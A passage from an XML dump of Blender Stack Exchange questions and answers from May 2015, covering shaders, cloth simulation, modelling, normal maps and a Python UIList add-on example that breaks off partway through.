polyline.order_u = 2      &#xA;&#xA;MakePolyLine(&quot;NameOfMyCurveObject&quot;, &quot;NameOfMyCurve&quot;, listOfVectors)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, this creates one polyline, but it can easily be called again and again to make different sections if they need alternating colours.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-05-05T11:22:57.307" LastActivityDate="2015-05-05T11:22:57.307" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30427" PostTypeId="2" ParentId="30415" CreationDate="2015-05-05T10:36:07.767" Score="4" Body="&lt;p&gt;You would need to install scipy into Blender's python installation I would imagine for this to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some clear instructions on how to do so: &lt;a href=&quot;https://blender.stackexchange.com/questions/5287/using-3rd-party-python-modules&quot;&gt;Using 3rd party Python modules&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember: Blender uses Python 3 so you will need to use the Python 3 version of scipy. The 2.7 version will not work.&lt;/p&gt;&#xA;" OwnerUserId="14175" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.437" LastActivityDate="2015-05-05T10:36:07.767" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="30428" PostTypeId="1" AcceptedAnswerId="30436" CreationDate="2015-05-05T10:45:04.470" Score="6" ViewCount="1082" Body="&lt;p&gt;I would like to make a blue glass shader in cycles.&#xA;Something like this:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/F9QaZ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This was my first trying but I think it's terrible.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/5lOPY.png&quot; alt=&quot;just glass shader&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here's my second trying but it doesn't look well.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/u9evW.png&quot; alt=&quot;mix shader&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to make a shader like on the first image?&lt;/p&gt;&#xA;" OwnerUserId="9684" LastActivityDate="2015-05-05T14:19:06.020" Title="Make blue glass shader in cycles" Tags="&lt;cycles-render-engine&gt;&lt;shaders&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30429" PostTypeId="1" AcceptedAnswerId="30438" CreationDate="2015-05-05T11:02:46.463" Score="0" ViewCount="2001" Body="&lt;p&gt;I created the mast of a ship with a sail, flag and several ropes. Sail, flag and some ropes have cloth modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I parent them all to empty, but when I move empty, only the mast and ropes without the cloth modifier moves. And all of the objects that have cloth modifier remain in place. It looks parent does not work with them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am allready using pinned vertices, it works fine. But I need to be able to move the mast with a sail, not sail separately from the mast.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is this happening and how to fix it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zSepG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13487" LastEditorUserId="13487" LastEditDate="2015-05-05T11:57:00.770" LastActivityDate="2015-05-05T14:52:42.273" Title="Why objects with cloth modifier don't move after I parent them to moving empty?" Tags="&lt;modeling&gt;&lt;cloth-simulation&gt;&lt;parent&gt;" AnswerCount="1" CommentCount="4" ClosedDate="2015-05-05T16:25:20.233" ContentLicense="CC BY-SA 3.0" />
  <row Id="30430" PostTypeId="1" AcceptedAnswerId="30432" CreationDate="2015-05-05T12:23:26.877" Score="9" ViewCount="10719" Body="&lt;p&gt;How do you extrude a circular plane in two dimensions (e.g. z and y)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a wheel with a tire. I have the rough animation of the wheel, but I cannot figure out how to extrude the tire in two dimensions. I've tried with extrude and scale combined but gives me the result seen in the picture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2vy8o.png&quot; alt=&quot;Quad view&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14176" LastEditorUserId="2217" LastEditDate="2015-05-05T12:35:09.153" LastActivityDate="2015-05-05T12:45:54.680" Title="extruding circular shape" Tags="&lt;modeling&gt;&lt;transforms&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30432" PostTypeId="2" ParentId="30430" CreationDate="2015-05-05T12:35:56.770" Score="10" Body="&lt;p&gt;To scale in one plane, use &lt;kbd&gt;Shift&lt;/kbd&gt;+ the axis you &lt;em&gt;don't&lt;/em&gt; want to scale in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if you want to extrude and scale in the YZ plane, you would do &lt;kbd&gt;E&lt;/kbd&gt;&amp;rarr;&lt;kbd&gt;S&lt;/kbd&gt;&amp;rarr;&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;X&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use the 3D Manipulator, &lt;kbd&gt;Shift&lt;/kbd&gt;+clicking the handle of the axis you don't want to scale (e.g. &lt;kbd&gt;Shift&lt;/kbd&gt;+click the X-axis handle for the YZ plane).&lt;/p&gt;&#xA;" OwnerUserId="836" LastEditorUserId="836" LastEditDate="2015-05-05T12:45:54.680" LastActivityDate="2015-05-05T12:45:54.680" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30433" PostTypeId="2" ParentId="30329" CreationDate="2015-05-05T12:42:53.830" Score="6" Body="&lt;p&gt;In order to use normal map in BI in particular you should have appropriate image - normal map. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Black&amp;amp;White image won't work for &lt;em&gt;this purpose&lt;/em&gt;, it will work as a bump map (which is one used on Cube A in your example). Normal map uses RGB values to convert into orientation of given point on the surface; black&amp;amp;white image doesn't provide that information.&lt;br&gt;&#xA;Normal map is an image in blueish hues which tells a given 'face' which orientation should it have with respect to its position within the overall structure of the object, and here's an example of one (with respect to this case):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/qttzF.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/qttzF.jpg&quot; alt=&quot;normal map of given example&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are different ways to create normal map based on this image, see &lt;a href=&quot;https://blender.stackexchange.com/questions/390/how-do-i-make-a-normal-displacement-map-when-all-i-have-is-a-photo&quot;&gt;How do I make a normal/displacement map when all I have is a photo?&lt;/a&gt;.&lt;br&gt;&#xA;You can create it in Blender using the same way as in &lt;a href=&quot;https://cgcookie.com/blender/2010/06/30/normal_maps_blender_2_5&quot; rel=&quot;nofollow noreferrer&quot;&gt;normal maps baking from sculpting&lt;/a&gt; with the only difference that image will be used instead. This may be not the best way, although it works for fast and dirty results. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have that image use it as a texture for material of the object:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/TXc2w.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/TXc2w.jpg&quot; alt=&quot;normal map use in BI IMG&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more details about using normal maps in Blender Internal and Cycles see:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://thezedlab.com/quick-reference-using-normal-maps-in-bi-and-cycles/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://thezedlab.com/quick-reference-using-normal-maps-in-bi-and-cycles/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.katsbits.com/tutorials/blender/bake-normal-maps.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.katsbits.com/tutorials/blender/bake-normal-maps.php&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1245" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.437" LastActivityDate="2016-04-20T09:35:43.077" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30434" PostTypeId="2" ParentId="30378" CreationDate="2015-05-05T12:46:14.870" Score="0" Body="&lt;p&gt;I would continue scripting in Blender. It has a full Python 3 installation so there is nothing preventing you from writing a very complicated program inside it. Python is actually perfect for these kinds of experimental projects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Writing anything in C# or Java adds a lot of tedious boiler plate to your project AND it's not exactly clear how you would call Blender from an external application.&lt;/p&gt;&#xA;" OwnerUserId="14175" LastActivityDate="2015-05-05T12:46:14.870" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30435" PostTypeId="1" AcceptedAnswerId="30475" CreationDate="2015-05-05T13:48:02.867" Score="6" ViewCount="1112" Body="&lt;p&gt;I've created a street by adding a street texture on a plane. I created a curve and added an array modifier and curve modifier on the plane. I made it let the plane follow the curve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RND09.png&quot; alt=&quot;Street, texture preview and modifier settings&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to export this now. For this (I guess) I need to apply the modifiers. Unfortunately the texture mapping is changing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to keep the texture mapping but after applying the modifiers?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&#xA;Here the versions with applied modifiers:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EV1Ro.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems that applying the array modifier removes the texture repeat and applying the curve modifier removes the texture... distortion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here my &lt;a href=&quot;http://www.pasteall.org/blend/35929&quot; rel=&quot;nofollow noreferrer&quot;&gt;blend file&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="14174" LastEditorUserId="14174" LastEditDate="2015-05-06T06:16:40.617" LastActivityDate="2015-05-11T05:33:32.057" Title="How to keep texture mapping after applying modifiers" Tags="&lt;texturing&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="30436" PostTypeId="2" ParentId="30428" CreationDate="2015-05-05T14:19:06.020" Score="8" Body="&lt;p&gt;Try to &lt;strong&gt;mix&lt;/strong&gt; &lt;strong&gt;two &lt;em&gt;Glass Shaders&lt;/em&gt;&lt;/strong&gt;- one with a white color and the other with a blueish color. Set the mix factor to a low value to make glass look more blueish and transparent at the same time. With a good lighting setup you'll achieve the effect you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bNdRo.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastActivityDate="2015-05-05T14:19:06.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30437" PostTypeId="2" ParentId="30420" CreationDate="2015-05-05T14:42:54.637" Score="6" Body="&lt;p&gt;This is actually a not so trivial problem. You might be better off asking this question on the maths stack exchange as it will require more than just Blender knowledge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will require coding skills as well, I fear.&lt;/p&gt;&#xA;" OwnerUserId="14175" LastActivityDate="2015-05-05T14:42:54.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30438" PostTypeId="2" ParentId="30429" CreationDate="2015-05-05T14:52:42.273" Score="2" Body="&lt;p&gt;If there are pinned vertices in the cloth and the object doesn't move, a previous simulation is cached and blender is using this old cached data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The simulation needs to be refreshed by playing the timeline or re-baking the simulation.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2015-05-05T14:52:42.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30439" PostTypeId="1" AcceptedAnswerId="30442" CreationDate="2015-05-05T15:03:26.627" Score="0" ViewCount="419" Body="&lt;p&gt;Animation of the fabric (object with cloth  modifier) stops and &quot;freezes&quot; earlier than I need to. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is this happening and how to fix it? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the timeline is correct range, 1-300, in cash 1-300 too, but animation of the fabric ends at 84 frame. If I Bake animation, it also ends at 84 frame.&lt;/p&gt;&#xA;" OwnerUserId="13487" LastEditorUserId="13487" LastEditDate="2015-05-05T15:53:48.097" LastActivityDate="2015-05-05T18:30:11.487" Title="Animation of the fabric stops and &quot;freezes&quot; earlier than I need to" Tags="&lt;cloth-simulation&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2015-05-05T22:58:08.970" ContentLicense="CC BY-SA 3.0" />
  <row Id="30440" PostTypeId="1" CreationDate="2015-05-05T15:24:03.773" Score="1" ViewCount="145" Body="&lt;p&gt;I'm trying model and render a ring in blender.&#xA;I obtained my model with a cube on which I applied the following modifiers&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3zY9P.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need it to be &quot;empty&quot; on the inside. So I duplicated my model (Shift+D) and scaled it by 0.9. I got this:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/XYkv6.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;img src=&quot;https://i.stack.imgur.com/DgnEK.png&quot; alt=&quot;enter image description here&quot;&gt; (not visualized correctly, but the whole thing is there)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try to boolean diff the larger with the smaller I get this:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/g88pg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which is the smaller ring, which should in theory create the negative space on the larger ring's inside.&#xA;What I get though is the smaller ring with that weird checkered selection, and no space on the inside of the larger ring, which, in fact, disapperars.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anybody provide any help on this?&#xA;Is there a way to do this keeping my modifiers on the larger ring?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not the first time I encounter problems with boolean differnce, so any explanation on why it behaves like this is greatly appreciated :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Edit&lt;/em&gt;: &lt;a href=&quot;http://torels.tk/dl/DIFF.blend&quot; rel=&quot;nofollow noreferrer&quot; title=&quot;Blender File&quot;&gt;Attached Blender File&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Edit2&lt;/em&gt;: &lt;strong&gt;Half solved&lt;/strong&gt;. Answer in comments. I still would like to figure out a way to merge two edge loops of a curved cube. It's actually the same cube (with one corner in 0,0,0), mirrored X,Y, and curved along a Circle. See below image for a better explanation&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wjrLj.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14001" LastEditorUserId="14001" LastEditDate="2015-05-05T17:17:35.203" LastActivityDate="2015-05-05T17:17:35.203" Title="Boolean Difference not acting as expected" Tags="&lt;modeling&gt;&lt;modifiers&gt;" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="30441" PostTypeId="2" ParentId="1161" CreationDate="2015-05-05T15:39:30.597" Score="2" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YBPF7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The trick here is to make the distance between the near and far clipping plane as short as possible.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Set the camera to orthographic and render using blender internal, no lights needed, or materials, all we are interested in is the z-pass&lt;/li&gt;&#xA;&lt;li&gt;in compositor convert the Z-output to a linear grey scale using normalize and color ramp (altho other ways are possible)&lt;/li&gt;&#xA;&lt;li&gt;the short distance between the clipping planes helps bring out more detail. Suzanne is not a great example, you could bring the far clipping plane up to the tip of the ear where it first starts to fold away from view&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Folding away from view, so can clip beyond it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UTD1v.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A tilted Suzanne gives more obvious topographic range&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/n5pvQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's all there is to it.&lt;/p&gt;&#xA;" OwnerUserId="47" LastActivityDate="2015-05-05T15:39:30.597" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30442" PostTypeId="2" ParentId="30439" CreationDate="2015-05-05T16:03:25.920" Score="1" Body="&lt;p&gt;Problem solved! :) looks like it is just a bug. Apparently it happened not only to me. To solve it you need to enter and then exit  the Edit Mode and Bake again.&lt;/p&gt;&#xA;" OwnerUserId="13487" LastEditorUserId="13487" LastEditDate="2015-05-05T18:30:11.487" LastActivityDate="2015-05-05T18:30:11.487" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="30443" PostTypeId="1" AcceptedAnswerId="31005" CreationDate="2015-05-05T16:08:06.513" Score="4" ViewCount="976" Body="&lt;p&gt;I am trying to do automatic weighting on this object, but I am getting a &quot;Automatic Heat Weighting: Failed to find a solution for one or more bones&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried multiple things to fix this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Applied: Location, Rotation &amp;amp; Scale&lt;/li&gt;&#xA;&lt;li&gt;Recalculated Normals&lt;/li&gt;&#xA;&lt;li&gt;Removed all modifiers&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I still cannot get it to work. Here is the file if you want to take a look:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://dl.dropboxusercontent.com/u/1838097/Alesia.blend&quot; rel=&quot;nofollow&quot;&gt;https://dl.dropboxusercontent.com/u/1838097/Alesia.blend&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9613" LastActivityDate="2018-09-18T03:11:07.003" Title="Automatic Heat Weighting: Failed to find a solution for one or more bones" Tags="&lt;armature&gt;&lt;bones&gt;&lt;weight-painting&gt;&lt;parent&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30444" PostTypeId="1" AcceptedAnswerId="30446" CreationDate="2015-05-05T16:31:38.763" Score="21" ViewCount="8667" Body="&lt;p&gt;How can I make a Interface which is similar to the Material-Interface within Blender via Python?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TaPwU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should look like these. Could you guide me to the right direction? I don't think it's in bpy.ops, right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you very much!&lt;/p&gt;&#xA;" OwnerUserId="13978" LastEditorUserId="3710" LastEditDate="2015-05-06T08:53:27.520" LastActivityDate="2019-04-01T12:57:11.673" Title="Create an interface which is similar to the material list box" Tags="&lt;python&gt;&lt;interface&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="16" ContentLicense="CC BY-SA 3.0" />
  <row Id="30445" PostTypeId="2" ParentId="29285" CreationDate="2015-05-05T16:38:00.807" Score="15" Body="&lt;p&gt;Mix an volumetric environment with a particle system:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;density of volume scattering will determine the amount of microscopic dust particles that create light rays&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;particle system will add visible dust&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Points to keep in mind:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;create the light super-bright and scatter density tiny - that way the small particles get enough light.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;give the particles translucent shader or a bit mixed-in emission if they are too dark&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;the particles need to appear small on camera so they blend with the light-shafts (smaller the better). Particles should be also random in size.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;A closeup of such out-of-focus dust:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IXeeZ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;the black border is there to fight the white page background&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Settings (depends on scene size, light distance and camera):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;scatter density: 0.003&lt;/li&gt;&#xA;&lt;li&gt;used light: Point, strength: 5000&lt;/li&gt;&#xA;&lt;li&gt;particles: 1M&lt;/li&gt;&#xA;&lt;li&gt;particle size: 0.015, random size: 100%&lt;/li&gt;&#xA;&lt;li&gt;icosphere scale: 0.1&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2015-05-05T16:38:00.807" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="30446" PostTypeId="2" ParentId="30444" CreationDate="2015-05-05T16:52:45.397" Score="36" Body="&lt;p&gt;The example given is called &lt;a href=&quot;https://docs.blender.org/api/blender_python_api_current/bpy.types.UIList.html&quot; rel=&quot;noreferrer&quot;&gt;&lt;strong&gt;UIList&lt;/strong&gt;&lt;/a&gt;. The following code is based on the &lt;em&gt;Modifier UIList&lt;/em&gt; of &lt;a href=&quot;https://blender.stackexchange.com/questions/14202/index-out-of-range-for-uilist-causes-panel-crash/14203#14203&quot;&gt;this answer&lt;/a&gt;. Once registered, scene objects can be added, removed, printed or selected via UI Elements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/0BpYW.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/0BpYW.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;custom_uilist.py&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;from bpy.props import (IntProperty,&#xA;                       BoolProperty,&#xA;                       StringProperty,&#xA;                       CollectionProperty)&#xA;&#xA;from bpy.types import (Operator,&#xA;                       Panel,&#xA;                       PropertyGroup,&#xA;                       UIList)&#xA;&#xA;# -------------------------------------------------------------------&#xA;#   Operators&#xA;# -------------------------------------------------------------------&#xA;&#xA;class CUSTOM_OT_actions(Operator):&#xA;    &quot;&quot;&quot;Move items up and down, add and remove&quot;&quot;&quot;&#xA;    bl_idname = &quot;custom.list_action&quot;&#xA;    bl_label = &quot;List Actions&quot;&#xA;    bl_description = &quot;Move items up and down, add and remove&quot;&#xA;    bl_options = {'REGISTER'}&#xA;&#xA;    action = bpy.props.EnumProperty(&#xA;        items=(&#xA;            ('UP', &quot;Up&quot;, &quot;&quot;),&#xA;            ('DOWN', &quot;Down&quot;, &quot;&quot;),&#xA;            ('REMOVE', &quot;Remove&quot;, &quot;&quot;),&#xA;            ('ADD', &quot;Add&quot;, &quot;&quot;)))&#xA;&#xA;    def invoke(self, context, event):&#xA;        scn = context.scene&#xA;        idx = scn.custom_index&#xA;&#xA;        try:&#xA;            item = scn.custom[idx]&#xA;        except IndexError:&#xA;            pass&#xA;        else:&#xA;            if self.action == 'DOWN' and idx &amp;lt; len(scn.custom) - 1:&#xA;                item_next = scn.custom[idx+1].name&#xA;                scn.custom.move(idx, idx+1)&#xA;                scn.custom_index += 1&#xA;                info = 'Item &quot;%s&quot; moved to position %d' % (item.name, scn.custom_index + 1)&#xA;                self.report({'INFO'}, info)&#xA;&#xA;            elif self.action == 'UP' and idx &amp;gt;= 1:&#xA;                item_prev = scn.custom[idx-1].name&#xA;                scn.custom.move(idx, idx-1)&#xA;                scn.custom_index -= 1&#xA;                info = 'Item &quot;%s&quot; moved to position %d' % (item.name, scn.custom_index + 1)&#xA;                self.report({'INFO'}, info)&#xA;&#xA;            elif self.action == 'REMOVE':&#xA;                info = 'Item &quot;%s&quot; removed from list' % (scn.custom[idx].name)&#xA;                scn.custom_index -= 1&#xA;                scn.custom.remove(idx)&#xA;                self.report({'INFO'}, info)&#xA;&#xA;        if self.action == 'ADD':&#xA;            if context.object:&#xA;                item = scn.custom.add()&#xA;                item.name = context.object.name&#xA;                item.obj_type = context.object.type&#xA;                item.obj_id = len(scn.custom)&#xA;                scn.custom_index = len(scn.custom)-1&#xA;                info = '&quot;%s&quot; added to list' % (item.name)&#xA;                self.report({'INFO'}, info)&#xA;            else:&#xA;                self.report({'INFO'}, &quot;Nothing selected in the Viewport&quot;)&#xA;        return {&quot;FINISHED&quot;}&#xA;&#xA;&#xA;class CUSTOM_OT_printItems(Operator):&#xA;    &quot;&quot;&quot;Print all items and their properties to the console&quot;&quot;&quot;&#xA;    bl_idname = &quot;custom.print_items&quot;&#xA;    bl_label = &quot;Print Items to Console&quot;&#xA;    bl_description = &quot;Print all items and their properties to the console&quot;&#xA;    bl_options = {'REGISTER', 'UNDO'}&#xA;&#xA;    reverse_order = BoolProperty(&#xA;        default=False,&#xA;        name=&quot;Reverse Order&quot;)&#xA;&#xA;    @classmethod&#xA;    def poll(cls, context):&#xA;        return bool(context.scene.custom)&#xA;&#xA;    def execute(self, context):&#xA;        scn = context.scene&#xA;        if self.reverse_order:&#xA;            for i in range(scn.custom_index, -1, -1):        &#xA;                item = scn.custom[i]&#xA;                print (&quot;Name:&quot;, item.name,&quot;-&quot;,item.obj_type,item.obj_id)&#xA;        else:&#xA;            for item in scn.custom:&#xA;                print (&quot;Name:&quot;, item.name,&quot;-&quot;,item.obj_type,item.obj_id)&#xA;        return{'FINISHED'}&#xA;&#xA;&#xA;class CUSTOM_OT_clearList(Operator):&#xA;    &quot;&quot;&quot;Clear all items of the list&quot;&quot;&quot;&#xA;    bl_idname = &quot;custom.clear_list&quot;&#xA;    bl_label = &quot;Clear List&quot;&#xA;    bl_description = &quot;Clear all items of the list&quot;&#xA;    bl_options = {'INTERNAL'}&#xA;&#xA;    @classmethod&#xA;    def poll(cls, context):&#xA;        return bool(context.scene.custom)&#xA;&#xA;    def invoke(self, context, event):&#xA;        return context.window_manager.invoke_confirm(self, event)&#xA;&#xA;    def execute(self, context):&#xA;        if bool(context.scene.custom):&#xA;            context.scene.custom.clear()&#xA;            self.report({'INFO'}, &quot;All items removed&quot;)&#xA;        else:&#xA;            self.report({'INFO'}, &quot;Nothing to remove&quot;)&#xA;        return{'FINISHED'}&#xA;&#xA;&#xA;class CUSTOM_OT_removeDuplicates(Operator):&#xA;    &quot;&quot;&quot;Remove all duplicates&quot;&quot;&quot;&#xA;    bl_idname = &quot;custom.remove_duplicates&quot;&#xA;    bl_label = &quot;Remove Duplicates&quot;&#xA;    bl_description = &quot;Remove all duplicates&quot;&#xA;    bl_options = {'INTERNAL'}&#xA;&#xA;    def find_duplicates(self, context):&#xA;        &quot;&quot;&quot;find all duplicates by name&quot;&quot;&quot;&#xA;        name_lookup = {}&#xA;        for c, i in enumerate(context.scene.custom):&#xA;            name_lookup.setdefault(i.name, []).append(c)&#xA;        duplicates = set()&#xA;        for name, indices in name_lookup.items():&#xA;            for i in indices[1:]:&#xA;                duplicates.add(i)&#xA;        return sorted(list(duplicates))&#xA;&#xA;    @classmethod&#xA;    def poll(cls, context):&#xA;        return bool(context.scene.custom)&#xA;&#xA;    def execute(self, context):&#xA;        scn = context.scene&#xA;        removed_items = []&#xA;        # Reverse the list before removing the items&#xA;        for i in self.find_duplicates(context)[::-1]:&#xA;            scn.custom.remove(i)&#xA;            removed_items.append(i)&#xA;        if removed_items:&#xA;            scn.custom_index = len(scn.custom)-1&#xA;            info = ', '.join(map(str, removed_items))&#xA;            self.report({'INFO'}, &quot;Removed indices: %s&quot; % (info))&#xA;        else:&#xA;            self.report({'INFO'}, &quot;No duplicates&quot;)&#xA;        return{'FINISHED'}&#xA;&#xA;    def invoke(self, context, event):&#xA;        return context.window_manager.invoke_confirm(self, event)&#xA;&#xA;&#xA;class CUSTOM_OT_selectItems(Operator):&#xA;    &quot;&quot;&quot;Select Items in the Viewport&quot;&quot;&quot;&#xA;    bl_idname = &quot;custom.select_items&quot;&#xA;    bl_label = &quot;Select Item(s) in Viewport&quot;&#xA;  